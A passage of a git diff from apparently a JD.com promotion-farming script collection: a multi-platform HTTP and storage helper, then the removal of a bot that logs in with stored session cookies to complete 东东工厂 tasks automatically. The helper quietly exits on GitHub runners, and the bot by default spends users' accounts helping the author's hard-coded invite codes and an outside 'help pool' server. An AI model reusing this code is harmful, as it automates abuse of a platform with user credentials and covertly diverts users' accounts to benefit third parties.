Version/14.1 Mobile/15E148 Safari/604.1" + } + }; + return new Promise(resolve => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(err); + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + //console.log(data); + if (data) { + data = JSON.parse(data); + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + return new Promise(async e => { + const n = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": UA, + "Accept-Language": "zh-cn", + Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + }; + $.get(n, (n, o, a) => { + try { + if (n) $.logErr(n); + else if (a) { + if (1001 === (a = JSON.parse(a))["retcode"]) return void($.isLogin = !1); + 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) + } else console.log("京东服务器返回空数据") + } catch (e) { + $.logErr(e) + } finally { + e() + } + }) + }) +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env) + .indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date) + .getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "") + .trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }) + .catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1") + .split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString() + .match(/[^.[\]]+/g) || []), e.slice(0, -1) + .reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t) + .on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse) + .toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "") + .substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")") + .test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]) + .substr(("" + i[e]) + .length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date) + .getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_jdfactory.js b/jd_jdfactory.js old mode 100755 new mode 100644 index 035c3bd..d231a76 --- a/jd_jdfactory.js +++ b/jd_jdfactory.js @@ -1,857 +1,736 @@ -/* - * @Author: LXK9301 https://github.com/LXK9301 - * @Date: 2021-8-20 - * @Last Modified by: LXK9301 - * @Last Modified time: 2020-12-26 22:58:02 - */ -/* -东东工厂,不是京喜工厂 -活动入口:京东APP首页-数码电器-东东工厂 -免费产生的电量(10秒1个电量,500个电量满,5000秒到上限不生产,算起来是84分钟达到上限) -故建议1小时运行一次 -开会员任务和去京东首页点击“数码电器任务目前未做 -不会每次运行脚本都投入电力 -只有当心仪的商品存在,并且收集起来的电量满足当前商品所需电力,才投入 - -// zero205:已添加自己账号内部互助,有剩余助力次数再帮我助力 - -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#东东工厂 -10 0,6-23 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true - -================Loon============== -[Script] -cron "10 0,6-23 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js,tag=东东工厂 - -===============Surge================= -东东工厂 = type=cron,cronexp="10 0,6-23 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js - -============小火箭========= -东东工厂 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js, cronexpr="10 0,6-23 * * *", timeout=3600, enable=true - */ -const $ = new Env('东东工厂'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', jdFactoryShareArr = [], message, newShareCodes; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; - if (process.env.JDFACTORY_FORBID_ACCOUNT) process.env.JDFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let wantProduct = ``;//心仪商品名称 -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const inviteCodes = ['T0225KkcRUxL9FKDJh7ylvMLcACjVWnYaS5kRrbA@T0225KkcRx0Q_AaCdRr1xf8DIQCjVWnYaS5kRrbA@T0225KkcRksZpgDSIBj3xvADdQCjVWnYaS5kRrbA@T018v_52Qxge81HeJB2b1ACjVWnYaS5kRrbA@T0205KkcPFd_vD2uSkCi3YhXCjVWnYaS5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVWnYaS5kRrbA']; -let myInviteCode; -$.newShareCode = []; -const ZLC = !(process.env.JD_JOIN_ZLC && process.env.JD_JOIN_ZLC === 'false') -const JD_ZLC_URL=process.env.JD_ZLC_URL?process.env.JD_ZLC_URL:"http://zlc1.chaoyi996.com:8880"; -!(async () => { - if (!process.env.JD_JOIN_ZLC) { - console.log(`【注意】本脚本默认会给助力池进行助力!\n如需加入助力池请添加TG群:https://t.me/jd_zero_205\n如不加入助力池互助,可添加变量名称:JD_JOIN_ZLC,变量值:false\n`) - } - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.stop = false; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdFactory() - } - } - for (let j = 0; j < cookiesArr.length; j++) { - if (cookiesArr[j]) { - cookie = cookiesArr[j]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = j + 1; - await shareCodesFormat(); - await helpFriends(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdFactory() { - try { - await jdfactory_getHomeData(); - // $.newUser !==1 && $.haveProduct === 2,老用户但未选购商品 - // $.newUser === 1新用户 - if ($.newUser === 1) return - await jdfactory_collectElectricity();//收集产生的电量 - await jdfactory_getTaskDetail(); - await doTask(); - await algorithm();//投入电力逻辑 - await showMsg(); - } catch (e) { - $.logErr(e) - } -} -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`${message}`); - } - if (new Date().getHours() === 12) { - $.msg($.name, '', `${message}`); - } - resolve() - }) -} -async function algorithm() { - // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 - return new Promise(resolve => { - $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - $.haveProduct = data.data.result.haveProduct; - $.userName = data.data.result.userName; - $.newUser = data.data.result.newUser; - wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); - if (data.data.result.factoryInfo) { - let { totalScore, useScore, produceScore, remainScore, couponCount, name } = data.data.result.factoryInfo - console.log(`\n已选商品:${name}`); - console.log(`当前已投入电量/所需电量:${useScore}/${totalScore}`); - console.log(`已选商品剩余量:${couponCount}`); - console.log(`当前总电量:${remainScore * 1 + useScore * 1}`); - console.log(`当前完成度:${((remainScore * 1 + useScore * 1) / (totalScore * 1)).toFixed(2) * 100}%\n`); - message += `京东账号${$.index} ${$.nickName}\n`; - message += `已选商品:${name}\n`; - message += `当前已投入电量/所需电量:${useScore}/${totalScore}\n`; - message += `已选商品剩余量:${couponCount}\n`; - message += `当前总电量:${remainScore * 1 + useScore * 1}\n`; - message += `当前完成度:${((remainScore * 1 + useScore * 1) / (totalScore * 1)).toFixed(2) * 100}%\n`; - if (wantProduct) { - console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); - await jdfactory_getProductList(true); - let wantProductSkuId = ''; - for (let item of $.canMakeList) { - if (item.name.indexOf(wantProduct) > - 1) { - totalScore = item['fullScore'] * 1; - couponCount = item.couponCount; - name = item.name; - } - if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { - wantProductSkuId = item.skuId; - } - } - // console.log(`\n您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n`); - if (wantProductSkuId && ((remainScore * 1 + useScore * 1) >= (totalScore * 1 + 100000))) { - console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore + 100000}`); - console.log(`请去活动页面更换成心仪商品并手动投入电量兑换\n`); - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n更换成心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); - if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面更换成心仪商品并手动投入电量兑换`); - } else { - console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n不满足兑换心仪商品的条件\n`) - } - } else { - console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称,否则满足条件后会为您兑换当前所选商品:${name}\n`); - if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { - console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore}`); - console.log(`BoxJs或环境变量暂未提供心仪商品,下面为您目前选的${name} 发送提示通知\n`); - // await jdfactory_addEnergy(); - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面查看`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); - if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请速去活动页面查看`); - } else { - console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【不满足】兑换此商品所需总电量:${totalScore}`) - console.log(`故不一次性投入电力,一直放到蓄电池累计\n`); - } - } - } else { - console.log(`\n此账号${$.index}${$.nickName}暂未选择商品\n`); - message += `京东账号${$.index} ${$.nickName}\n`; - message += `已选商品:暂无\n`; - message += `心仪商品:${wantProduct ? wantProduct : '暂无'}\n`; - if (wantProduct) { - console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); - await jdfactory_getProductList(true); - let wantProductSkuId = '', name, totalScore, couponCount, remainScore; - for (let item of $.canMakeList) { - if (item.name.indexOf(wantProduct) > - 1) { - totalScore = item['fullScore'] * 1; - couponCount = item.couponCount; - name = item.name; - } - if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { - wantProductSkuId = item.skuId; - } - } - if (totalScore) { - // 库存存在您设置的心仪商品 - message += `心仪商品数量:${couponCount}\n`; - message += `心仪商品所需电量:${totalScore}\n`; - message += `您当前总电量:${$.batteryValue * 1}\n`; - if (wantProductSkuId && (($.batteryValue * 1) >= (totalScore))) { - console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${$.batteryValue * 1},【满足】兑换此商品所需总电量:${totalScore}`); - console.log(`请去活动页面选择心仪商品并手动投入电量兑换\n`); - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); - if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面选择此心仪商品并手动投入电量兑换`); - } else { - console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${$.batteryValue * 1}\n不满足兑换心仪商品的条件\n`) - } - } else { - message += `目前库存:暂无您设置的心仪商品\n`; - } - } else { - console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称\n`); - await jdfactory_getProductList(true); - message += `当前剩余最多商品:${$.canMakeList[0] && $.canMakeList[0].name}\n`; - message += `兑换所需电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n`; - message += `您当前总电量:${$.batteryValue * 1}\n`; - if ($.canMakeList[0] && $.canMakeList[0].couponCount > 0 && $.batteryValue * 1 >= $.canMakeList[0] && $.canMakeList[0].fullScore) { - let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); - if (new Date(nowTimes).getHours() === 12) { - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0] && [0].name}所需总电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); - if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0].name}所需总电量:${$.canMakeList[0].fullScore}\n请速去活动页面查看`); - } - } else { - console.log(`\n目前电量${$.batteryValue * 1},不满足兑换 ${$.canMakeList[0] && $.canMakeList[0].name}所需的 ${$.canMakeList[0] && $.canMakeList[0].fullScore}电量\n`) - } - } - } - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function helpFriends() { - if ($.isNode() && !process.env.DDFACTORY_SHARECODES) { - console.log(`您未填写助力码变量,开始账号内互助,再帮【zero205】助力`); - $.newShareCode = [...(jdFactoryShareArr || []), ...(newShareCodes || [])] - } else { - $.newShareCode = newShareCodes - } - for (let code of $.newShareCode) { - if (!code) continue - const helpRes = await jdfactory_collectScore(code); - if (helpRes.code === 0 && helpRes.data.bizCode === -7) { - console.log(`助力机会已耗尽,跳出`); - break - } else if (helpRes.code === 0 && helpRes.data.bizCode === -7001){ - console.log(`对方电力已满,无法助力,跳过`); - continue - } - } -} -async function doTask() { - if ($.taskVos && $.taskVos.length > 0) { - for (let item of $.taskVos) { - if (item.taskType === 1) { - //关注店铺任务 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`); - for (let task of item.followShopVo) { - if (task.status === 1) { - await jdfactory_collectScore(task.taskToken); - } - } - } else { - console.log(`${item.taskName}已做完`) - } - } - if (item.taskType === 2) { - //看看商品任务 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`); - for (let task of item.productInfoVos) { - if (task.status === 1) { - await jdfactory_collectScore(task.taskToken); - } - } - } else { - console.log(`${item.taskName}已做完`) - } - } - if (item.taskType === 3) { - //逛会场任务 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`); - for (let task of item.shoppingActivityVos) { - if (task.status === 1) { - await jdfactory_collectScore(task.taskToken); - } - } - } else { - console.log(`${item.taskName}已做完`) - } - } - if (item.taskType === 9) { - //逛会场任务2 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`); - for (let task of item.shoppingActivityVos) { - if (task.status === 1) { - await queryVkComponent(); - await jdfactory_collectScore(task.taskToken); - } - } - } else { - console.log(`${item.taskName}已做完`) - } - } - if (item.taskType === 10) { - if (item.status === 1) { - if (item.threeMealInfoVos[0].status === 1) { - //可以做此任务 - console.log(`准备做此任务:${item.taskName}`); - await jdfactory_collectScore(item.threeMealInfoVos[0].taskToken); - } else if (item.threeMealInfoVos[0].status === 0) { - console.log(`${item.taskName} 任务已错过时间`) - } - } else if (item.status === 2) { - console.log(`${item.taskName}已完成`); - } - } - if (item.taskType === 21) { - //开通会员任务 - if (item.status === 1) { - console.log(`此任务:${item.taskName},跳过`); - // for (let task of item.brandMemberVos) { - // if (task.status === 1) { - // await jdfactory_collectScore(task.taskToken); - // } - // } - } else { - console.log(`${item.taskName}已做完`) - } - } - if (item.taskType === 13) { - //每日打卡 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`); - await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); - if ($.stop) { - console.log(`蓄电池已满,使用后才可获得更多电量哦!`); - break - } - } else { - console.log(`${item.taskName}已完成`); - } - } - if (item.taskType === 14) { - //好友助力 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`); - // await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); - } else { - console.log(`${item.taskName}已完成`); - } - } - if (item.taskType === 23) { - //从数码电器首页进入 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`); - await queryVkComponent(); - await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); - } else { - console.log(`${item.taskName}已完成`); - } - } - } - } -} - -//领取做完任务的奖励 -function jdfactory_collectScore(taskToken) { - return new Promise(async resolve => { - await $.wait(1000); - $.post(taskPostUrl("jdfactory_collectScore", { taskToken }, "jdfactory_collectScore"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - $.taskVos = data.data.result.taskVos;//任务列表 - console.log(`领取做完任务的奖励:${JSON.stringify(data.data.result)}`); - } else if (data.data.bizCode === -7001) { - $.stop = true - console.log(`领取做完任务的奖励:${data.data.bizMsg}`); - } - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - 